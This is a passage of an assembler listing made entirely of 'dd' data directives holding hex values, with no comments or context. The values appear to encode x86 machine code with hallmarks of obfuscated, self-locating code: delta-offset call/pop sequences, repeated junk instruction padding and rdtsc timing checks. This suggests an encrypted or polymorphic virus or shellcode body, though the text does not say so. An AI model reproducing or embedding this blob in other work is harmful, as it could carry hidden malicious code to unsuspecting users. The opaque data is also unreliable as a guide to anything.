0E9060719h, 5, 89B37Ah, 0B79D8D75h, 29060AA5h dd 719A985h, 89D3FF06h, 726B1B5h, 0C9958906h, 0FF06071Bh dd 70FA585h, 0DE906h, 0AAE30000h, 1D5429C2h, 5805BC79h dd 0E9E11133h, 7A8h, 0E8h, 0ED815D00h, 60AF95Ch, 1B859589h dd 0BD810607h, 6072CDDh, 7D0h, 15D860Fh, 0B5890000h, 6072BCDh dd 1C5D9D8Bh, 0B70F0607h, 816660F1h, 53A790D9h, 800Fh dd 615A0000h, 100E381h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0DB0BC8C3h, 0B8850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0FAA7C8C3h, 0EBBE943Fh, 831ED346h, 0AF762BDh dd 840F0006h, 37h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0A0C35545h, 0C2EC8531h, 5E89394Bh, 0FE8B6665h dd 0C4FAD8BFh, 88E97Fh, 70BE0000h, 0C77EF7A1h, 0AF76285h dd 106h, 49B58B00h, 0E906072Dh, 6Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 1CC35747h, 0FE81BAB1h, 5E526060h dd 7E9h, 0DA282100h, 200BF2D6h, 0F5950961h, 6106072Fh dd 85C7FE8Bh, 60AF762h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FFC35545h dd 660E7143h, 5AEF81h, 2959B589h, 9D8D0607h, 6071C5Dh dd 1C599589h, 23810607h, 0FFFFFEFFh, 11E9F5h, 9B0D0000h dd 0CDCA8B7Dh, 68BBA603h, 0BE820E1Fh, 66398DB3h, 0BD8BDB8Ch dd 6070401h, 0F04C3F6h, 7684h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 11496DF7h dd 0E9EE33BFh, 0Dh, 0AC600D7Bh, 0A6004424h, 10A70EEAh dd 5D95FF99h, 6A060733h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 3A54C353h, 90FB1998h dd 50FA8B66h, 0BE9h, 0B521A900h, 15A525EFh, 0DDE07B8Dh dd 0E5B58B90h, 0E9060703h, 312h, 2B6DB58Bh, 95310607h dd 6071DEDh, 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0F9BF30C3h, 0F28B70E6h, 0DAC78166h dd 6A71E445h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0B771C353h, 0D8B60F97h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 36C35343h, 6BAA0h dd 0BF0F0000h, 66C38BF1h, 0C169ABBFh, 8E0F04E8h, 0 dd 6AE2F766h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 3E2CC351h, 0D82BE166h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 4BC35040h, 37D5553Ah dd 899D89CAh, 93060726h, 8B0Fh, 93500000h, 0B5FF5E52h dd 6072CDDh, 2709BD8Bh, 0BF0F0607h, 195FFF0h, 89060732h dd 718119Dh, 0FB8B6006h, 172DB531h, 0B0610607h, 44BF6600h dd 6A70E6C0h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 8FABC353h, 0F65C21DEh, 0DF81420Fh dd 519D9F54h, 0DBBE71E4h, 3C2B52B0h, 0CB830F61h, 66000001h dd 0F9251BEh, 0B58BD8B6h, 607168Dh, 6BAh, 5CBF6600h, 0C1C38BDEh dd 810F04E8h, 0 dd 6AE2F766h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 589AC353h, 1337B4DEh, 9A4CBBBAh dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 2DA9DAC3h, 0FC278022h, 0B5BE6657h, 60585EA4h dd 29BDBD89h, 8D0B0607h, 6072B75h, 0FD82B61h, 14188h, 54C68100h dd 0B9286979h, 7, 8BF6BF0Fh, 70079B5h, 0C18306h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0CCC35747h, 0AEA485B9h dd 8589633Bh, 607259Dh, 860FD93Bh, 0FAh, 17C5B529h, 8D890607h dd 607228Dh, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0C5D7C357h, 893A471Bh dd 0F65E53D9h, 840F04C1h, 99h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0A1C35040h, 0B257F987h, 2167AD7Ah dd 0F1BF0F8Bh, 335D95FFh, 0BD290607h, 6071241h, 50006A5Bh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8BD6105Eh, 71AC1BDh, 3DC32B06h, 834h, 33860Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 8DD63FC3h, 33CBE66h, 23B1BD89h, 2BE90607h, 29000000h dd 709A585h, 6AC08B06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 1E90C350h, 5D7D4D37h dd 0C38BA7C1h, 6AD88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 53755CC3h, 709FF369h, 85C7E784h dd 6073125h, 5F96A99Bh, 10E8h, 24C46600h, 188F95DCh, 0B15EFD22h dd 0EDD5EB24h, 0F7B70FE0h, 6AC08B5Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3B02C357h dd 83F5B507h, 8589673Fh, 6070995h, 2CDDBD81h, 7D00607h dd 850F0000h, 3Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 38C35545h, 19350513h, 85FF77FEh, 6072CDDh dd 5918589h, 850F0607h, 6, 32E9B529h, 0B5FF0607h, 6072CDDh dd 0CE8h, 0FF833500h, 0D2829AADh, 32CF400Bh, 0BE6651D4h dd 5F5F17B4h, 320195FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 664787C3h, 3EDA0068h dd 0F3BF0F84h, 9D958990h, 6A060730h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E273C355h dd 6AABDDCCh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0EE07C353h, 0FFD89853h, 816FC2E8h dd 8D26CBD6h, 6DB5090Dh, 6606071Ah, 6AF18Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 5662A2C3h dd 0FE938BBh, 30000000h, 0DBE17A7Eh, 0E21A1279h, 0C0955FADh dd 9E8CD3Bh, 3C000000h, 0B4F127h, 18A2ACB6h, 14E9h, 96336700h dd 0FBD675F1h, 0D5B40441h, 8F7FECF0h, 0A2D4162h, 6A5EE9h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 7386CFC3h, 0BD0BFF7Ch, 60717E9h, 32198589h, 0AE90607h dd 7000000h, 78920EAFh, 0ECBE05B2h, 53006A4Dh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0D26F437Dh dd 49124EB6h, 0BD8B9988h, 6070F8Dh, 0FFF8B7E9h, 55006AFFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0BDCFD19Ch, 0E7135270h, 0B53100A4h, 60717E1h, 92F5BE66h dd 258C0Fh, 890F0000h, 1Bh, 8B0Fh, 10E90000h, 7E000000h dd 768BF9D3h, 8C7435AEh, 77173C64h, 660BA105h, 66BBEEBEh dd 2652E781h, 9589C18Bh, 6070029h, 75B58B51h, 5E060719h dd 4EBh, 3F90000h, 71D09BDh, 25B52306h, 8D060717h, 71F1985h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0A1C94AE5h, 0F509027h, 1088h, 0BE900h, 66F40000h dd 364978CFh, 0CA58B624h, 6A909Ch, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0BF663CC3h, 6A3A3Ah dd 14E9h, 0ED4F1F00h, 77F89B82h, 58E5BEDCh, 8ABE7B93h dd 5CA403EBh, 6A006A6Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0A03BC351h, 0BF7080F5h dd 313858Dh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0AC9C5C3h, 89B7DE6Dh, 7102DB5h dd 5C08306h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 2BC35646h, 6E271392h, 8658B2FDh, 6800Fh, 0BD030000h dd 6072B55h, 3085B58Bh, 66900607h, 9050F28Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 83C35545h, 6AAB40C7h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 9952C624h, 6A006ACFh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C197C353h dd 8797B5D9h, 6057CF5Fh, 0BA9ABB66h, 95FF5F61h, 6071BCDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0ECC35343h dd 0A67F8D51h, 9D8DBEBFh, 60AA5B7h, 8E9h, 0C300C700h, 775B2631h dd 6AD3FFE9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 0A642C357h, 3F66E4C4h, 0BE9h dd 5096A000h, 0D1AA9039h, 0A92724EDh, 0FA585FFh, 0B58B0607h dd 6072CE5h, 7ECE9h, 0E800h, 815D0000h, 0B031DEDh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 307FC7B8h, 81EF4E9Dh, 72CDDBDh, 7D006h, 26860F00h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 43DEC356h, 0A6D7AF86h, 9D8BA487h, 6071D85h dd 0E7EE8166h, 0E38137h, 51000001h, 0FDB0B5Eh, 6585h, 219D8900h dd 83060723h, 0B0111BDh, 840F0006h, 39h, 78E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E977A9B4h, 11h, 0D38E80F3h, 475F0F49h, 2D1380CEh, 377FA474h dd 1185C7F4h, 1060B01h, 89000000h, 71BC1BDh, 2FE906h, 0BF660000h dd 85C722A6h, 60B0111h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 49C35343h dd 3BD9CF4Dh, 859D8D34h, 6A06071Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0B6DAC357h dd 0CA1C5D46h, 0E9BD2BA8h, 81060732h, 0FFFEFF23h, 52006AFFh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0C003E7C8h, 1421A6D9h, 0DB8C66F2h, 0F04C3F6h, 7B84h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0A0BB9ECEh, 85B7BF75h, 0BF66C4D2h, 0AE9987Eh dd 3E000000h, 0CE40045Dh, 83E9116Bh, 5D95FF93h, 0BF060733h dd 502776F0h, 0D810Fh, 7E80000h, 3D000000h, 0C76369E3h dd 505EA9E0h, 8551BF66h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EE98C355h dd 3CCE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 2F574C66h, 389E0DA1h, 6A00B0h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0E601D5C3h, 8D896070h, 6072FDDh, 1D198589h, 89610607h dd 729A19Dh, 0F71E406h, 8B60D8B6h, 719D98Dh, 0D38B6606h dd 6BA61h, 8F0F0000h, 6, 15B1B58Bh, 0C38B0607h, 2BD9BD33h dd 0E8C10607h, 2810F04h, 8B000000h, 0E2F766F9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0D6C35040h, 0BE4EC281h dd 228A468Fh, 0B70FD82Bh, 15B50BF0h, 5006072Dh, 0C521BF53h dd 895E326Ah, 6A241Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0AC1CBFC3h, 0FFFC7CA0h, 72CDDB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 20F1FBA6h, 0CB3D0AF9h, 189BD33h, 95FF0607h dd 6073201h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0E5C35545h, 0B8BF506Ch, 824FAEB0h, 6A00B0h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 70E688C3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 2C35747h, 59FE23B9h, 0A6509D0Ah, 6A71E43Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0ACF6C351h, 8D1ABFE2h, 0FC175BAh, 1301B589h, 613C0607h dd 20F830Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 61105FC3h, 9958960h, 0F060723h dd 284h, 615A5000h, 6AD8B60Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0BA7FC352h, 6, 1ABE6652h dd 0C38B5E81h, 6A04E8C1h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0C376C355h, 5296E68Fh dd 1D45B529h, 665E0607h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 887451C3h, 8968875Ah dd 72BD195h, 95BD8B06h, 2B060709h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0E681667Dh dd 6A5897DFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 788CC356h, 0F74C069Ch, 0F9F18B71h dd 880FD82Bh, 109h, 3321BD8Bh, 7B90607h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 7FFAC352h, 0B17CCD8Dh, 826CCF1Ah, 0C183F08Bh, 0FD93B00h dd 0CC86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0AF10CD59h, 3D1BABB1h, 8C66C592h dd 25BD89D9h, 0BE06072Bh, 307432E7h, 0F04C1F6h, 7A84h dd 0CDBD8900h, 0FF060721h, 7335D95h, 5BF18B06h, 8B66C32Bh dd 8343DF9h, 860F0000h, 5Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0EC35343h, 0CF07A59Fh, 66607213h dd 8BD28BB8h, 73151BDh, 0BE666106h, 3AE9D9BEh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 3B9FC350h, 0A2E4D0C2h, 8BAA2B60h, 0FE9C0h dd 860000h, 3610FE48h, 364E526Dh, 0CE64F683h, 8BC38B07h dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 4B0E063Eh, 0CC5743E5h, 29BD8B80h, 0C706071Dh dd 71C5D85h, 849FB506h, 51006A31h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0BCA0EC83h, 57EB6062h dd 64DDDF81h, 895E2C6Ah, 712559Dh, 0FCBE6606h, 8BC08B0Bh dd 0DDBD81F8h, 0D006072Ch, 0F000007h, 1585h, 89BD8B00h dd 0FF060731h, 72CDD85h, 3800F06h, 0F000000h, 0B5FFF1BFh dd 6072CDDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0BFC35646h, 195FF35h, 6A060732h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 3A8FC355h dd 0FE8B2C01h, 19958952h, 5E06071Dh, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 5353DC3Ah dd 32ADB58Bh, 0B5230607h, 6071EE1h, 7185295Eh, 6A060717h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0EFE5C357h, 0BD8979D5h, 60730EDh, 31F9B70Fh dd 72DB18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0E809BDDEh, 0CABEBB3Ch, 0C412BF66h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E6C35747h dd 0B6D62682h, 89B5032Ah, 8B06071Ah, 701EDB5h, 0B9B58906h dd 6A06072Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0EC2DC352h, 52006AF9h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 16AC8A59h dd 40EF6AB6h, 52006A43h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 5C0FFC0h, 1A51B529h, 2BBE0607h, 0E9503CCCh dd 0FFFFF831h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 96C35141h, 6AC18BCFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 302DC356h, 5865E95Bh dd 5FC12513h, 15A5BB60h, 0F610D34h, 688h, 0BDB58B00h, 0EB06071Ah dd 4, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 6A77E323h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 1DC1C351h, 0BF0FD5C4h dd 499D89FAh, 8D06071Eh, 71F1985h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0AD2A1D37h dd 52505057h, 310F5250h, 585A6160h, 585A310Fh, 0F240489h dd 0E85h, 9E900h, 8C960000h, 0A408678Eh, 6AF01C83h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0E9A4BE8Dh, 6049AAB8h, 3174BE66h, 1D19B589h dd 6A610607h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 3D008124h, 0E248B4B9h, 16E1BD8Bh dd 858D0607h, 60B0DBCh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0FBC35040h, 7D4656F7h, 0BF0FE4C8h, 0DE9F2h dd 0A6DA0000h, 0C36A72ACh, 393AD7E3h, 831DD1FAh, 6A05C0h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 9C3355C3h, 9B1260F3h, 0BD29FF68h, 6072A0Dh, 4B59BF90h dd 0F5021F4h, 488h, 2BBF6600h, 6A9029h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 1F3E77C3h dd 0A39A3484h, 13FEBE66h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 0F3EF73C3h, 0D4BEBD45h dd 818D01DAh, 6A06071Ah, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 96447F5h, 83381h, 12E9h dd 0A3EE1700h, 0DBC2DCFBh, 7B71E680h, 0ADDB75F4h, 93CC4BEh dd 703ED95h, 0CD95FF06h, 6A06071Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0B7C1C352h dd 90AEEB67h, 9D8D1E49h, 60AA5B7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 59C35343h, 0FFAB4549h, 52006AD3h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 6C90CBDCh, 29B58B4Dh, 0FF06072Ah, 70FA585h, 84DE906h dd 0E80000h, 5D000000h, 0DC6ED81h, 0F56060Bh, 682h, 89958900h dd 5F060721h, 2CDDBD81h, 7D00607h, 860F0000h, 14Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 86C35141h, 7C8344C5h dd 51D0956Fh, 419D8B69h, 8B060709h, 0E381FEh, 0BE000001h dd 6E569AABh, 850FDB0Bh, 0A8h, 12F19589h, 0BD830607h, 60B0B40h dd 25840F00h, 60000000h, 6820Fh, 0BD8B0000h, 6072C35h dd 6880Fh, 8D890000h, 6073221h, 0B5E961h, 0BD890000h, 6071DCDh dd 0B4085C7h, 1060Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 6608E9C3h, 3F512E1Bh dd 0FE83525h, 0F0000000h, 0DE3FE4CBh, 57F0E611h, 612CDF3h dd 0BF669F6Ah, 0E95FE951h, 63h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 9CC35343h, 8D29DB98h, 60720BDh dd 0B4085C7h, 60Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0BC876EC3h, 0C1FC3C1Bh dd 43C781D0h, 330B682Fh, 71069B5h, 9DB58B06h, 8D060703h dd 709419Dh, 0FE906h, 0EA780000h, 75A2E360h, 92C5BCB9h dd 0FB87833Dh, 0FF2381E0h, 8BFFFFFEh, 70AC5BDh, 0DB8C6606h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 28C35646h dd 8A0FC2F9h, 6, 2D258589h, 0C3F60607h, 32840F04h, 66000000h dd 0FFD980BEh, 7335D95h, 59BF6606h, 57509009h, 13810Fh dd 0DE80000h, 2B000000h, 46F64562h, 8FE7F49Dh, 8D4503DAh dd 8B905E5Fh, 72DA5B5h, 456E906h, 9D890000h, 6072379h dd 858900B0h, 60706B9h, 2D258D29h, 70E60607h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 9AC35141h, 666071E4h dd 6E8C28Bh, 0CF000000h, 0CBCD02EDh, 1B52BE3h, 5E06071Dh dd 0D8B60F61h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0E1C35040h, 0D794C217h, 37E78166h, 6BAB2h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 61EF31C3h, 233B364h, 0C38B5663h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 4FC35242h, 0F88BFFB0h, 8904E8C1h dd 715ED95h, 0E2F76606h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 39C35646h, 0BB053120h, 1E68166h, 6AD82B18h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 5A99C355h, 12AF5BBEh, 90435020h, 3ECDD681h dd 8B936E5Bh, 8B6650FAh, 0BD2393FBh, 6072011h, 2CDDB5FFh dd 56570607h, 7E9h, 8C4B4700h, 73EEE72Dh, 95FF5E5Eh, 6073201h dd 0F6000B0h, 0BD31F3B7h, 6072669h, 0E6F98B61h, 0F28B6670h dd 71E4FB8Bh, 288E0Fh, 0CE80000h, 0B1000000h, 75D18293h dd 0A7020FB6h, 0E9D83A94h, 11h, 0D02ADD7h, 61BF4F81h, 67261554h dd 737D13D0h, 613C5E9Dh, 2C2830Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 9D5D61C3h dd 0F76359D9h, 8B6624AEh, 0D8B60FFAh, 6BAh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 7788670Eh, 0FE40D4ECh, 0C18589D8h, 8906071Bh, 721B1B5h dd 0E9C38B06h, 0Ah, 35FC7027h, 88D508Ah, 0E8C1B9AAh, 0BD8D8904h dd 66060705h, 0BE8E2F7h, 75000000h, 7F819D15h, 9543C30Ah dd 11E92C4Ch, 9E000000h, 1445F829h, 0EA8E3936h, 0FEAB0E26h dd 2DDD8611h, 0FD82B5Fh, 8Bh, 0FE900h, 13510000h, 6A3F50ECh dd 81B3F22Eh, 6E51CFB5h, 6A5887h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0FBFF61C3h, 48F0Fh, 0BF660000h dd 0D82BFCFCh, 1D2880Fh, 95890000h, 6071E79h, 7B9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 42B4EBE5h, 0BB975975h, 6A00C183h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 9598C352h dd 35DDDED3h, 0E88D7261h, 6, 87E77C3Bh, 99BFB66Fh, 5F6A18E5h dd 5E960h, 4A670000h, 806DB6F3h, 3B6140D1h, 55860FD9h dd 0F000001h, 684h, 71BD0900h, 6606070Ah, 8B66D98Ch, 4C1F6FBh dd 115840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 5D18B0C3h, 0CE9h, 0BC7C400h, 0DEE107A7h dd 0F0001E83h, 0D1BD8B61h, 0FF060717h, 7335D95h, 61B52306h dd 5B060712h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 1BC35141h, 6DACF721h, 755BCC60h, 0B52B5178h, 6072015h dd 65BE605Eh, 605F7902h, 7419529h, 5E90607h, 0CD000000h dd 0C065C51h, 0C32B6161h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 95C35747h, 45D8AE03h, 24A34B4h, 68C0Fh dd 0B58B0000h, 6070971h, 8343Dh, 50860F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0CFBEC353h, 0E9B8B5C0h, 50h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 9DC35141h, 0C9A2FCAh dd 5840Fh, 0EBBF0000h, 8B60E547h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0CA433FDh dd 0DFF6ACEAh, 0D88BC38Bh, 715B503h dd 85C70607h, 6071D85h, 51DC67B3h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0A6C35141h, 0C0696E1Bh, 0D4EE81CFh dd 60691342h, 14E9h, 0F3F9AB00h, 528C9AAFh, 5633A7F7h dd 0D9CB338Ah, 0BC5B35CFh, 0C08B616Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 74C35646h, 0BD81F18Bh, 6072CDDh dd 7D0h, 13850Fh, 0D7810000h, 5EEA51CDh, 2CDD85FFh, 850F0607h dd 1, 0DDB5FFFCh, 6A06072Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 771C351h, 0CF3457DBh dd 0F4F6066h, 95FFFABFh, 6073201h, 7E1BD8Bh, 6A900607h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 2AB3C351h, 63CF8166h, 55006A3Dh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 1F0A13C7h dd 660D36F0h, 66F3A2BEh, 0E9120BBEh, 0Fh, 8061B3D2h, 88A3752Ch dd 9F15BF23h, 8BD73162h, 703D1BDh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 3FCC0419h dd 6A8236h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 5EF55EC3h, 0B300D7B9h, 0CE82Fh, 0A7C40000h dd 6440BA36h, 63065D60h, 8D31EBBAh, 6070535h, 7E95Eh, 521A0000h dd 0D7734F85h, 57006A4Ah, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0F9AE082h, 680h, 1D9D8900h dd 1060706h, 704B985h, 0D1958906h, 0E906072Bh, 0FFFFF7EAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0E5C35040h dd 5BFC2ECCh, 0E9569545h, 8, 26CC7D62h, 0A1225448h, 11BD8B5Eh dd 8B060733h, 4EBC1h, 89000000h, 703FD95h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0C0CB2C0Eh, 16ADB58Bh, 0BD330607h, 6070609h, 1F19858Dh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0BD588FC3h, 668BA6D3h, 0FEF2C681h, 50F28B90h dd 0F38B6652h, 6A905Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0B5E47C3h, 72CEDB5h, 81006A06h dd 80F78AEEh, 0BE006A38h, 72D70651h, 17CE858Dh, 6A060Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 9C4C65C3h, 837D12DAh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 